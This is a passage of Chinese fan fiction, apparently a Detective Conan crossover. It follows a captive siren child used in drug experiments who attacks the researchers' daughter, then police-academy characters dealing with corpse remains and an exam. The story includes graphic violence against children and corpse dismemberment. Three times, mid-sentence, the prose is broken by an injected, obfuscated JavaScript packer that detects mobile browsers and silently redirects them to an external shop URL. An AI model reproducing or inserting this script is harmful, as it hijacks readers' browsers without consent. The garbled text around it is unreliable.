“哪里,各有各的折腾罢了,都有本难念的经嘛。” 香槟的折腾主要体现在,他太需要利口酒的情绪支持: 每每在摄入了药物,反馈药效的时候,他一定要被利口酒抱着,至少也要被她牵着手才行。 实验组出品的药物,虽然都有充足的理论支持,但不用到具体实验,谁也不知道会是什么结果,更别提塞壬本身和人类基因差别巨大。 在一次的试验中,注射了最新款药物的香槟开始出现严重高热反应,皮肤出现皲裂渗血,鳞片和羽毛大面积脱落。 期间研究员们想尽了各种办法降温,但是体温几次反复,都无济于事。 药物折射后的三十分钟,香槟开始出现昏厥、呓语,直至药物注射后九十分钟,彻底失去意识五个小时。 在此过程中,他一直紧紧抓着利口酒不肯松手。 偶尔不经意间对上他的眼睛的时候,高烧让他的眼球看起来很像玻璃,于是就像是和一个没有生命的娃娃对视一样。 好在最后在利口酒的安抚下,香槟最后挺过了这次难关。 劫后余生的塞壬倦怠地窝在她怀里,乖顺地任由她给自己处理伤口。 “……为什么要打针吃药呢?我不要在这里……我想回家……” 伤口还没有处理好,鲜红色的血已经浸透了苍白的耳羽,随着抹眼泪的动作,一起被擦在殷红的眼皮上,像是被画上红眼线。 塞壬在病床上蜷缩成一小团,把翅膀当扇贝壳用,将自己裹起来,假装自己也是一个巨大的白色扇贝。 “……你为什么要来这里呢?” 利口酒将他整个处理干净,每一条伤口都仔细上好药,开始轻轻拍他的背,像是之前哄别的孩子那样哄他。 “很多种原因吧。” “一方面是,因为我怀孕了,需要一份更高薪的工作,我……和我的丈夫之前因为一些原因,没有办法在自己的领域找到可以维持生计的工作。” 利口酒也知道,一个6岁,智力水平只有60的孩子,可能是听不懂她在讲什么的,但是这不影响她说——倾诉本身也不是只有交流这一个意思。 “另一方面,只有这里,可以支持我的研究工作,因为无论如何也想要完成我的研究,所以即使这个选择身边人都不看好,我也还是想要研制出足以改变世界的药物——银色子弹。” 宫野艾莲娜记得自己姐姐赤井玛丽,在得知自己纠结这个决定的时候,千里迢迢的从英国赶到日本,几番拦截劝阻。 想要说服宫野夫妇放弃去往白鸠制药厂任职的决定。 但是,因为发表了《魔法的生理学概述》,而被科学界联合抵制,一个被叫做“疯狂科学家”,另一个被叫做“地狱天使”,直至除名的宫野夫妇,是没有办法将自己的理论继续推动下去的。 所以由组织背后控股的“白鸠制药厂”,是他们最好也是唯一的选择。 香槟枕着自己的翅膀,兴致缺缺,没有回应,利口酒就知道他又没有听懂。 塞壬又开始被新的问题吸引了:“……什么时候有妹妹呢?” 大概算了一下:“还有四个月。” 33.地狱天使4 直到后来,很久很久,利口酒再回想起香槟的时候,都感觉是一场没办法释怀的噩梦。 就像是在海边,原本声势浩大的海波,迎来了一场退而不反的潮落,旁人是惊愕也好,赞叹也罢,只有自己知道要完蛋了。 ——海水倒灌往往是海啸的征兆。 香槟第一次表现出对组织实验强烈的反抗,是在利口酒怀孕七个月,放产假准备生产的时候。 在此之前她已经在家里休整了两个月,偶尔远程电话处理一下工作,保证实验组上下正常运行。 或者和香槟视频一下,安抚他的情绪。 起初塞壬对她的离开反抗剧烈,为了争得他的同意,利口酒再三表示“一定会回来”之后,才勉强让他接受。 直到在开车去组织医院产检的路上,宫野艾莲娜接到了来自实验室的电话。 “利口酒,不好了!香槟失控了!” 通过同事颠三倒四地描述中,她勉强拼凑出一个模糊的流程: 从三天之前,香槟开始突然开始歇斯底里地哭叫,拒绝实验,拒绝进食,拒绝所有人靠近,甚至拒绝停下来。 介于他一贯的“良好表现”,研究员起初尝试情绪安抚,无果后无奈使用镇定剂,但是在药效过去之后,又开始新一轮的周而复始。 他才6岁,总用镇定剂身体肯定受不了的。 “在那之前有做什么实验吗?” “三天之前,他在一次皮试后出现了过敏现象……” 行吧。 利口酒叹了一口气,调转车头,改为向实验室驶去。 “妈妈我们要去哪呀?” 宫野明美抱着自己最喜欢的兔子布偶,从后座探过脑袋。 “去妈妈工作的地方,见一个……” 宫野艾莲娜才恍然,香槟和自己的女儿也差不多是同龄。 车子缓缓在实验室的门口停下,女人亲亲在后座上的女儿,打开车窗。 “……在车里坐一会吧,妈妈很快就回来。” “利口酒大人,您可算是来了!” 被香槟折腾得焦头烂额的研究员早早就在门口翘首以盼,连忙领着她去观察室。 宫野艾莲娜推开门进去,就见到被束缚带牢牢绑在病床上的香槟,正在挂营养液。 ——折腾了三天,再不挂水真的要熬不住。 原本哭累了睡着的小孩,被推门声惊醒,又开始准备新一轮的折腾…… 在看到宫野艾莲娜那张脸的时候戛然而止。 连续三天高强度工作的嗓子已经哑的变调了,但是宫野艾莲娜还是半听半猜明白了他的意思。 “你骗我。” “……没有骗你,这不是回来了吗?” “骗我。” “没有骗你。” “骗子。” 宫野艾莲娜:…… 她退出这间病房,不出预料的听见了塞壬的尖叫声,宫野艾莲娜只好假装没听见,低声和周围的同事耳语:“他一会还有实验安排吗?” 得到否定的答复后,她点点头,重新推门进去,尖叫声戛然而止。 “跟我出去一晚上怎么样?”宫野艾莲娜看着他那双哭散了的眼睛,“去我家吃晚饭?” “利口酒大人,这……” “没关系,研究员住的地方不也在组织的管控下吗?” 他跑不了的。 “出去?” “出去一会——但是你要带束缚器。” 香槟点点头。 * 宫野明美在后座上早就等急了,终于看见妈妈,领着一个和自己同龄的小女孩。 “妈妈!” 宫野艾莲娜将香槟也送上车,关好车门,启动车子。 宫野明美对这个好看的小孩很感兴趣,抱着自己的兔子布偶凑过来:“我叫宫野明美,妹妹你叫什么名字啊?” 看起来比我小一点,应该是妹妹吧? 香槟双手被秘银扣住,往角落里面缩了缩。 宫野明美注意到了他携带的手铐上隐隐约约有刻的字,就凑过去,拉过他的手,仔细辨认道: “S……U……K……I……” 是他的编号。 香槟像是被烫到了手一样,甩开她,又往车门上靠了靠。 “他叫香槟,明美,别靠那么近。” 被宠爱的小女孩撒娇道:“对不起嘛——他是男孩子啊?!” 在日语中“她”和“他”有明显的语音差异。 “可是他头发好长?” 实验体留长发是为了方便取样。 即使香槟不肯说话,宫野明美还是忍不住偷瞄他: 长得好好看。 就像是其他同样这个年龄的其他孩子一样,有着一头华丽卷发和一张漂亮脸蛋的,会动会说话的香槟,比小女孩梦想中的所有公主娃娃加起来还有吸引力。 好想和他一起玩哦。 宫野明美勾勾香槟身上,蓝标条纹病号服的袖口:“对不起……我不是故意认错的。” “和我说说话嘛……” “你今年几岁啦?” 但是不管怎么说,香槟都没有回应。 ……好朋友好像生气了。 宫野明美有些懊恼。 “给你,”女孩将手里的兔子推过去,眨着眼睛讨饶道,“这是我最喜欢的玩具,给你抱一抱,别生气了吧?” 这是我最喜欢的布偶,当然不可以送给他。 ……除非他真的很喜欢,那也要求我三次。 宫野明美悄悄地偷瞄他,看见那双好看的异瞳中倒映出自己的影子。 这次香槟没有再拒绝,默默接过了那个布偶。 有点旧了,原本顺直的毛有点起球,但是被洗的很干净,还带着针织的蝴蝶结,一看就知道主人明显很爱惜。 被特质手铐铐住的香槟没办法分开手腕,于是用手臂将兔子环在怀里。 ! 接受了! 宫野明美在心里默默地出尔反尔。 他好像真的很喜欢的样子。 要不然就送给他吧? 反正我有那么多的娃娃,他一个都没有,分给他一个也没有什么——爸爸还会给我买的。 ……还是好心痛QwQ。 “没问题的吗?” 听筒另一边,宫野厚司提前忙完外出交流,正急急忙忙地往回赶,准备给妻儿一个惊喜。 “毕竟不是人,你现在又怀着孕……” 眼见着香槟听话地被明美抓着手牵来牵去,温顺的像只小羊羔,又想起之前的一桩桩一项项实验报告…… 比起五百年前的书本上的教条,自己就在科学界开宗立派的宫野艾莲娜当然更相信自己亲眼观测到的现实。 “suki-403726在实验室被观察了5个月,除了轻度的不配合之外,从来没有表现出攻击性,在此之前也和我建立了稳定的情感联系……事实上,我甚至怀疑他对我有产生雏鸟情节。” 毕竟他今年才6岁,而宫野艾莲娜可能是他接触到的第一个对他释放善意的特例,没有之一。 “何况他现在还带着束缚器和手铐——行动受限,而且一点魔法都用不出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722104|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 宫野厚司当然知道自己的妻子是个怎么样的天才,也相信她的判断。 “我大概今天晚上就能回来……” 话没说完,就听见里面的房间里传来一声惨叫。 “明美?!” * 装了5个月的弱智,香槟早就受够了什么“宠物游戏”。 脑子有毛病的人,才会相信实验体会和研究员产生什么情感联系。 当然,“恨”是肯定的。 他和那个当初被制服在地的男人,和在研究室里面,被剥削实验价值的任何一个实验体一样,都恨不得用手扯开这些白大褂的喉管。 但是如果贸然行事,恐怕下场早有前车之鉴了吧? ——就像是那个男人一样,被严加看管,每次企图反抗就被保卫电击处理,然后关禁闭。 在生理和心理的双重打击下,现在已经成为连大小便都不能自立的疯子。 而这样的事情,在M7实验室,每天都在上演。 所以光有决心还远远不够,还要忍耐。 不过没关系,他总是很有耐心。 6岁人类孩子可能尚且稚嫩,但是6岁的野兽肯定早就有了独自狩猎的能力。 他等了五个月,终于抓到一个不是机会的机会。 没可能叫自己脱离组织,但至少可以在实验室里面喘一口气。 香槟从来不觉得自己是个立场坚定的性格:他深知自己是个不择手段的王八蛋,并且时刻做好了“为达目的,不择手段”的心理准备。 不是不可以出卖自己,但是利口酒给的也太少了点: 几颗廉价的吃剩的水果糖,还有一个快要玩烂了的破娃娃。 想起来就叫他恨得牙痒痒。 ——在利口酒心里,香槟就是这么点东西就可以收买的烂货。 真恶心。 至于温言细语,悉心关怀? 拜托,这种东西,叫塞壬来,他能比所有人都说的更多更好。 有什么用呢?说的再好听,不还是拿他做实验吗? 倒不如说,就是因为有这些,反而显得更恶心了: 她的每一次“喜欢”,与其是在“表达”,倒不如说是在“行贿”: 要他妥协,要他麻木,要他宽恕她犯下的罪。 打发流浪汉都知道要给钱,打发流浪狗都知道要给肉。 所以我是什么? 宠物。 一想明白这一点,香槟就忍不住被气笑了: 她以为自己在宠物店摸狗吗? 付出一包冻干的价格,就要换来他的摇尾乞怜,温顺讨好。 不过没关系,看在她真心实意的信任份上,如她的意好了——毕竟狗急了也是会咬人的。 “乖顺的”塞壬被身前的小女孩牵着,拉进了自己粉嫩的房间。 “你看,这就是我的娃娃城堡啦——我们搬到这里之后,爸爸妈妈专门给我放我的娃娃,我就给她们搭了一个城堡……” 多好啊。 活在父母羽翼下懵懂无知的小蠢货。 香槟趁着女孩在眼前喋喋不休,将她推倒在了地板的软垫上。 手铐太紧了,也没有合适的绳索。 不过没关系。 塞壬含住女孩的脖颈,尖锐的牙齿刺破软肉,引发女孩凄厉的惨叫。 直到痛意袭来的时候,宫野明美才后知后觉地意识到,“好朋友”不是在和自己玩闹,而是想咬断自己的喉咙! 鲜血涌出来,飞溅在兔子布偶的脸上。 没关系,小孩子的脖子,很嫩的。 34.地狱天使5 宫野厚司在一听到声音不对之后,就立马联系了组织的安保。 彼时他已经将车开到了别墅前门,顾不上停好,随便将车丢在路边,就连滚带爬地翻出车门往家冲。 快些!再快些! 在挂掉电话的瞬间,天才科学家的大脑并没有被重锤打垮,反而是在电光火石之间闪过了无数个念头。 也许是塞壬失控。 也许是煤气爆炸。 也许是组织M7实验室被入侵。 也许发生的一切,他这个手无寸铁的科研人员及时赶到也无济于事,甚至有可能白白多葬送一条性命。 但是他必须在,这是作为一个丈夫和父亲的责任。 当宫野厚司终于喘着粗气赶到的时候,就看见自己的妻子正趴在地上,□□大出血,浑身不住地痉挛,显然是被刺激要早产的征兆。 自己的女儿同样躺在地上昏迷不醒,左肩膀被止血处理过,包着纱布,还在隐隐往外渗血。 而香槟坐在娃娃房的窗台上,双腿一晃一晃,像是在水中优雅摆尾的鱼,在阳光中投下跳跃的影子,正居高临下地观察着她们两个。 抛开衣服、头发、双手和脸上的血迹,笑起来的时候看起来就像是一个普通孩子,不,像天使。 迎上香槟笑脸的时候,宫野厚司突然想明白了一件事: 如果说,对于没有“社会”概念的塞壬而言,“语言”是用来蛊惑过往水手的“武器”,那么“笑容”意味着什么呢? ——“狩猎”。 * 好在组织的医院离他们的别墅很近。 宫野明美的左肩斜方肌被扯下了一块肉来,但是好在止血处理及时,加上本就不是致命伤口,输过血之后就脱离了危险,只需要继续住院观察。 但是宫野艾莲娜的情况就不是那么乐观了:怀孕七个月,大出血早产,要不是有组织的药物和治疗魔法兜底,随时都有一尸两命的危险。 在经历了三天两夜的努力,最后母女平安。 宫野厚司看着被安排在同一间住院病房的妻女,终于放下心来,找到了香槟。 “明美的伤口……是你给她处理的吧?” “你没打算要明美的命是不是?” 香槟又像当初第一次遇见宫野艾莲娜那时候一样,被关进了小小的鸟笼子里,只是这次再一回“一鸣惊人”之后,没人再敢靠近他找刺激。 6岁的塞壬蜷缩起来,才勉强可以被容纳进这个囚笼里,不被铁丝压迫。 香槟至始至终没打算要宫野明美的命——非亲非故,素昧平生,他还没有疯到在大街上随便找个人就能咬的程度。 冤有头债有主,宫野夫妇他不会放过,但是一个弱智小女孩而已,别非要舞到他面前,香槟就可以当看不见。 “是又怎么样?道谢就大可不必了。” 怎么可能是来道谢的啊?! 没有任何一个爱自己妻女的男人,可以容忍有人威胁到她们的安全,宫野厚司也不例外。 “——那就是算着艾莲娜准备生产的时候搞事,故意想让她流产了。” 马后炮总是很容易,一旦结局发生了,往前推过程,好像一切都早就有迹可循: 被频繁问起的预产日期、第一次见面时出乎寻常的温顺态度、休产假时要求“一定会来”…… 还有那份智力检测报告。 目前的智力检测普遍使用量表的方式,要求被测者作答反馈结果,而没有办法通过检测生理反应直接测得。 这就要求了,想要获得一个足够准确的智力分数,还有潜在的条件:被测者的配合。 ——想拿高分不容易,但是故意做错假装弱智可太简单了。 宫野厚司大概明白了香槟的意思,但还是对一个年仅6岁的孩子,为了达到目的,可以耐住性子小心潜伏五个月而不露破绽感到不可思议,也终于意识到他们究竟是被怎样危险的存在盯上了: 组织最年幼的代号成员,不比任何一个凶名赫赫的代号成员差,甚至说,正是因为他的年纪,反而比绝大多数的组织成员都要危险。 身为族群最后的独苗,香槟的基因对组织而言,有不可替代性的研究价值。 而宫野夫妇提出了自己的流派,科研价值也同样不可估量。 ——组织不会允许失去这个独一无二的样本,宫野家现在有了两个女儿,反而是香槟自己光棍一条,没什么可怕的。 他可以对尚不知情的宫野明美睁一只眼闭一只眼,但是宫野夫妇和香槟只有至死方休的一种可能。 而在组织这个吃人的地方,失去了父母庇护的儿童会怎么样呢? 被丢去训练营吗? 一想到这种可能,宫野厚司就忍不住喉咙发干: “志保……也是无辜的。” “她是,她们两个都是——前提是她们两个之后别碰组织的实验。” 香槟本来想点点头,但是在这个狭小的空间里面,连活动手指都是难事,遂作罢。 “但是在她被自己的母亲生出来之前不是——日本法律保护女性的堕胎权,在那之前她只是寄生在利口酒体内的一块肉而已。” 宫野厚司还是有点心里不平。 实验室里面负责香槟的当然不是只有宫野艾莲娜自己,单是常驻在利口酒小组的就有二十来个研究员。 香槟在实验室里面被研究了五个月,足够他有充足的时间接触各种不同态度的研究员或者其他实验体。 更何况在这五个月的研究生活中,宫野艾莲娜最后还有两个月的时间在家备产。 ——为什么最后反而是对他态度最好,和他相处时间最少的宫野艾莲娜被他盯上了? “艾莲娜究竟是哪里做的不好,特别让你不满了?” 香槟罕见地一怔,显然是真的没有想过他会问出这种问题。 “你比我,不是,你们夫妻两个,比我设想中的还要……那个。” 一时间,能言善辩,巧舌如簧的塞壬居然找不到具体的词语来形容。 “组织因为觊觎我的研究价值,所以抢夺霸占我的□□,剥夺限制我的自由,要求我做做他长生美梦中的药引子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13726123|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “但是你们比他要的更多。” “你能问出这种问题,利口酒能被我骗到,真的相信我们之间能够产生什么感情,原因不过是一点——你们夫妻两个认为,我作为实验体,应该对你们释放的善意有所回应,不要求感恩戴德,至少也不应该优先记恨你们。” “但说出这种话,你自己不觉得自己很可笑吗?” “就连组织也只觊觎我的白骨血肉,但是你们居然想要我心甘情愿。” 光是想想,香槟就觉得他俩真是疯了。 时年6岁的塞壬还远没有后来的那种“七情不上面”的淡定,尚且稚嫩的孩子,在对方面前罕见地露出些许不可置信的神色来。 “你们两个剥削索取的远比一个正常的研究人员要多得多得多,你们居然想要驯化我!就凭那几块水果糖、几个丑到眼瞎的笑脸、还有一个被玩烂了的娃娃。” 一想到自己身价就只值这么可怜的一点,香槟就要经受不住如此重大的打击,几乎都要哽咽出声了。 我怎么这么贱啊? 不行,在这种人面前掉眼泪也太丢脸了。 想到这,香槟仗着他那个角度看不见,连忙用力眨眨眼睛,努力大口吸气,将泪意逼回去。 “……在圣经的教义中,路西法曾经被称为是‘上帝身边最伟大的天使’,曾经在天堂担任要职,封号‘路西菲尔’。” “后来因为忤逆上帝的旨意,被驱逐出天堂,所以就成了堕天使。” “本质上,你们和恶魔没有任何区别,甚至你们还是恶魔中的叛徒。” 塞壬轻轻的笑声在耳畔回荡,说不清是预言还是诅咒——或者说这两者根本没有任何区别。 “上帝保佑——你们最好祈祷我死在实验台上。” * “……所以,你应该终止继续传播这种谣言——也许本身没有恶意,但是这种态度,就是会对别人造成很大的困扰。” 不对,我明明很有恶意。 叛徒香槟如是想到。 分明就是怀着极大且毫不掺假的恶意去说的这种话。 飞鸟彻羽坐在葡萄藤上,居高临下看着降谷零那张不忿的脸。 突然感觉很有意思,像只气得在下面跳脚的暹罗猫。 降谷零仰头看着他,少年浅笑嫣嫣不肯开口,不知道在想什么。 也许是根本没有认识到自己的失礼行径,所以是在无声地和自己对峙。 也许是认识到了自己的错误,但是被当面指出来感觉有点没面子,一时间不知道应该怎么开口。 ……失策了,刚刚应该给他留点面子,不应该这么直白的。 降谷零想到自己比他年长四岁,被当面驳斥,一般都会视为挑衅处理,并狠狠反击,突然感觉自己的态度有点太强硬了。 但是刚刚说了强硬的话,他一时半会也说不出什么软话,给他台阶下。 两人就那么安静的两两相望。 良久,就在降谷零几乎以为他不会开口的时候,飞鸟彻羽应声道: “是,你说的对。” 35.诸伏景光:活人微死:) 冷战了呢…… 说是冷战都像是错觉,因为在那天之后,他们也没再见过飞鸟彻羽。 也不知道他后来和四方的邀约怎么样了? 诸伏景光一边脑子里在胡思乱想,一边在异常处理课做笔录,细细描述自己是怎么找到并压制住外守一,疏散无关群众,又被飞鸟彻羽带回来的: 一滴水落到了诸伏景光面前的地板上,留下一个小小的阴影。 紧接着,瓢泼大雨倾盆而下,短短几分钟之内就让一场声势浩大的火灾化为乌有。 每一滴雨水都精准地避开他们几个,反而将被制伏在地的外守一给淋成了落汤鸡。 ……不用看就知道是谁的手笔。 正被念叨着的飞鸟彻羽跳下龙背,于是公交车大小的黑龙就缩成围脖的尺寸,虚虚环在他的脖子上。 踩着雨声,飞鸟彻羽在几人眼前站定伸手,抓住挂在诸伏景光颈间的小瓶子,用力扯断,塞进口袋里。 “你要去做个笔录。” 飞鸟彻羽本来应该是在外面等着他的,但是刚刚被之前那个山羊角队员叫走了:“犯人说要见你。” 少年点点头,推开了审讯室的大门,坐在不断挣扎的,叫嚣着要找回“尤里”的外守一面前。 “我的尤里呢?我的尤里!” 鬼叫什么? “那不是你的尤里,那只是个你杀了十五个人所产生的尸块罢了。” 这话显然激怒了外守一,开始对着飞鸟彻羽大吼道:“那就是我的尤里!我就知道跟着诸伏家的那个小子能找到我的尤里!一定是他们家把我的尤里藏起来了!一定是的!一定……” 整整十五年,外守一一直跟着诸伏景光,从长野到东京再到警察学校,就是为了和自己的女儿尤里更近一点。 也不是没在这其中见到过和尤里相似的小女孩,但很快就会被外守一识破。 爸爸怎么会认不出自己的孩子呢? 休想蒙骗我。 但是为什么也会有和尤里相像的部分呢? 外守一觉得:可能是自己的尤里可能被分成了很多小块,只要将她的每一块都找回,就肯定能找到尤里。 于是他开始跟着诸伏景光的同时,留意自己身边和尤里有相似之处的孩子,把她们身上和尤里相似的部分取下,拼凑起来。 “祂跟着诸伏景光是因为你杀了他爸妈——两个大人的认知能力肯定不是小孩子能比的。” “那就是我的尤里!那……” 【闭嘴】 “那你这个父亲还真是有够不称职的,”飞鸟彻羽可太懂怎么戳做父母的心窝子了,“女儿死了十五年,宁愿跟着别人跑,也不愿意来找您这个父亲。” 看到飞鸟彻羽这张脸,“外守一”徒然怔住了。 半晌,像是终于在抽屉的角落里面找到了自己十年前的账号密码一样,男人的脸上换了一种神情。 “……您倒是还没烂在地里。” “外守一”嘴角咧到耳边,换了另一种截然不同的嗓音,像是行将就木的百岁老人,颤抖地从喉咙间挤出些许含糊的气声: “发·现·你·了……” 在窗边突然惊起的一阵乌鸦叫中,飞鸟彻羽眼见着他又恢复成满心里只知道“尤里”的普通犯人。 ……还真是阴魂不散。 * 诸伏景光出来的时候,天都黑透了。 只看见飞鸟彻羽整个人没正形一样,叼着烟靠在墙上,有种不健康的骨感和颓废。 他脱了今天披着的墨绿色斗篷,上身只剩下一件欧式衬衫被腰封锁住,露着锁骨和手腕,被一只翡翠发箍束起头发。低头点烟的时候,一缕白发就轻飘飘的搭在肩头。 整个人在烟雾中朦朦胧胧的,明明素的很,偏偏有种糜烂又荒唐的艳俗。 “你还吸烟?” 飞鸟彻羽没说话,叼着烟也不吸,怔怔地上神。 诸伏景光自己都不知道自己是什么知道的,只是一种隐隐约约的感觉:“你在想谁?” “和你没关系。” ——他不肯承认说有,也不肯撒谎说没有,他说“和你没关系”。 “……要见见你爸妈吗?” 即使是知道他在转移话题,但是诸伏景光还是很可耻的心动了:“真的可以吗?” “原则上是不可以的——但事实上大家可能都不是那么有原则。” 飞鸟彻羽转身,领着他向证物室走去。 下意识跟上去的诸伏景光:露背的……。 好吧,也理解,毕竟总不合适每露一次翅膀,就把衣服戳出两个洞来。 飞鸟彻羽从一众贴着封印的收纳箱里面,精准地摸出那个小瓶子,把“尤里”从里面倒出来:“你晕血吗?” “不。”诸伏景光老老实实的回答道。 飞鸟彻羽点点头。 那就好。 下一瞬间,少年从旁边的架子上摸出一副手套戴上,口袋里摸出一把秘银的匕首,顺着“尤里”血肉的裂纹将祂肢解成一块一块的碎肉。 诸伏景光:?!?!?!?! 虽然我说我不晕血,但是就这么直接的,在我面前表演碎尸是不是有点太相信我的接受能力了?! 飞鸟彻羽不干人事的时候,下手倒是利索,每分下来一块,就扯一根羽毛将其钉在地上,防止祂们再擅自合并在一起。 按照彼此之间死亡事件的不同,先分类再拼接。 ——本来看起来只是七八岁女童的身形,没想到居然能够分离出两具成年人,十四个儿童的尸块。 然后划开自己的手腕,以魔杖代笔,鲜血代墨,将密密麻麻的的铭文写在地板上。 “……你还会这种魔法啊?” 虽然不知道具体是什么种类,但是诸伏景光感觉肯定不是言灵。 飞鸟彻羽手里忙着,也不影响说话:“魔法的获得分先天和后天,先天魔法就是像言灵这种,基因里带的东西;后天魔法就是像这种。” “理论上不存在完全的先天或者后天——比如说北地精灵,就是你们之前见过的队医索菲娅,她的先天魔法就是【治愈】,但是其他人也可以学会,只是释放的时候更加困难,更考验对魔力的把控力。” “不过目前我还没见过后天的【言灵】。” 诸伏景光听明白了:“所以你的意思是,你学习能力很强?” ……这么理解也不算错。 “反正目前是没有见过学不会的魔法。” 飞鸟彻羽抬手沾了自己的血泪,签下自己的本名。 “成了。” 眼见着只起来了两具,自己的魔法大获成功的飞鸟彻羽功成身退:“拜拜~” 诸伏景光:你不会把我一个人扔在这的对吧? 飞鸟彻羽反手将档案室的,前年刚刚翻新的,隔音能力max的门关好。 “待会见。” * “酒井那边已经准备好了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730034|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飞鸟彻羽靠在门口,堂而皇之地在黑田兵卫的口袋里摸烟给自己点上,吐出一口燎人的烟雾。 “不只是东报,朝日、富士山——三大社蓄势待发,准备抢占明天的头条。到时候舆论一起,多少‘老前辈’都得被撸下去。” 高层是高层,即使自己内部的官僚系统是多么的等级森严,也没有办法奈何具有全国影响力的三大社。 毕竟他们背后站着的是日本真正的主人——财阀。 少年叼着烟,含糊道:“你在这个位置上坐这么久了,也该是时候往上活动活动了。” 黑田兵卫心说你可真是胆大包天,连串通媒体搞自己上级的上级这种事都干得出来。 但是黑田兵卫是个文明人……至少他还算是个人。是人就不能像飞鸟彻羽这样,成天不干人事。 “……你可真是大手笔。” 飞鸟彻羽摊手,半点不愧疚,权当他夸自己:“说的好像我污蔑他们一样,那贪污受贿不作为,可不是我用言灵逼着他们干的。” 只是偏偏集中选在这个时候检举,让被处罚变革职降职了而已。 不管是有没有插手组织的,正好趁着这个机会一起踹下去——本来不大不小的事情一旦牵扯上了【潘多拉】,谁还敢捞就一并把谁的爪子也砍下来。 “……别把顺便排除异己说的那么冠冕堂皇啊。” “别这么说嘛,贪大家抚恤款的时候,他们不也是理直气壮的吗?” 飞鸟彻羽这个时候倒是半点不提,自己故意捐款抬高异常处理课抚恤金,然后透漏给其他各部门的事情了。 ——就算是别人把前丢在家门口,也不是小偷不问自取的理由不是吗? 虽然这笔钱的确看起来很是诱人,但是对别人的东西那么强的占有欲,可不是什么好事。 我的便宜可没那么好占。 “谁叫我想要话语权,但是那些个老东西不肯给呢?” ——既然不同意,那就换愿意点头的人来。 钓鱼执法还真是让你玩明白了。 * 一直到黑田兵卫走远了,飞鸟彻羽才按密码,把门重新打开。 精神萎靡的诸伏景光扑面而来,挂在飞鸟彻羽的脖子上。 诸伏景光人都麻了: 说想见爸妈就带我来见鬼,说不晕血就让我看肢解,监守自盗偷证物不说,现在又理直气壮到在证物室施展这种一看就是邪术/黑魔法之类,刑得不能再刑的东西…… 我算是教唆还是从犯啊? 该不会刚出这门就要被拉过去枪毙吧? 好消息,日本没有死刑,我可能会被判无期:) 活人微死.jpg 被压到尾巴的小黑龙不满地喷出一小口火。 烧焦了诸伏景光的一点头发。 飞鸟彻羽拈起那一点火苗,灌入魔力,火焰像是被泼了汽油,瞬间膨胀起一人高的焰影,将之前的残迹吞没,没留一点痕迹。 小龙把自己抽出来,变作两辆公交车大小,载着二人往警校的方向驶去,将繁华的城市都踩在脚底下。 “……你还好吧?” “还行……很不好!” 诸伏景光害怕要是再和飞鸟彻羽客气,天知道他又会搞出什么幺蛾子。 被诸伏景光委拒了的飞鸟彻羽有些遗憾。 “停!今天非常感谢你,但是不管你想干什么都到此打住——你还记得我们明天还有公安考核吧?” 36.二分之一法兰西75 公安选拔考核,原为警校生每六个人一组,抽签决定任务,会有公安的前辈打分决定成绩。 而他们抽到的题目是,混进酒吧内,找到盗取文件的“任务目标”。 酒吧内人员混杂,又没有提供目标的相关线索,所以这一场的关键就在于,怎么在人群中精准锁定并抓获任务目标。 “难道要我们一个一个去找吗?”降谷零顶着飞鸟彻羽刚给带好的易容,坐在卡座上,扮成来消费的客人,理直气壮地享受“调酒师”飞鸟彻羽的亲手服务。 得益于塞壬顶级审美的缘故,即使顶着易容,一样免不了被“前仆后继”的降谷零心力憔悴。 ……很难说其中没有借机报复的成分。 “办法肯定是有的。” 耳麦里传来飞鸟彻羽的声音,伴随着此起彼伏的点单声。 “反正是考核,又不是真的行动,任务目标肯定是警察假扮的,按响火警铃,看看谁出来主持疏散就知道谁是警察了——大不了到时候就说是不小心误触了,我们肯定是最快完成任务的一组。” 有你这样的警察,日本的未来完蛋了啊:) 降谷零默默为日本的为了捏了一把汗:“……这里面大部分还是普通的客人。” 突然意识到自己是在为了全部客人的生命安全在努力的降谷零:“这种办法怎么也不可能行得通的吧?” 震耳欲聋的音乐声,伴随着台下此起彼伏的尖叫在耳畔响起,吵得人头痛欲裂。 同样顶着易容的飞鸟彻羽将调好的鸡尾酒摆在玻璃桌上:“客人请慢用。” 他现在穿着经典款式的三件套,带着白手套的样子还真像那么回事。 降谷零端起他调好的酒杯,抿了一口…… 他发誓是用了自己平生最大的勇气,才没有遵从自己内心的声音,把“酒”直接吐出来。 偏偏始作俑者完全没有愧疚,笑得很有服务精神: “怎么了客人,是不合你口味吗?” 降谷零原本那点微妙的,指使他的愧疚感早就被这一杯纯柠檬汁浇灭了,现在吐也不是咽也不是,全凭自己惊人的意志力,才没能失去表情管理。 等他终于缓过那股酸劲,回过神来的时候,某个小混蛋早就端着托盘不见踪影了。 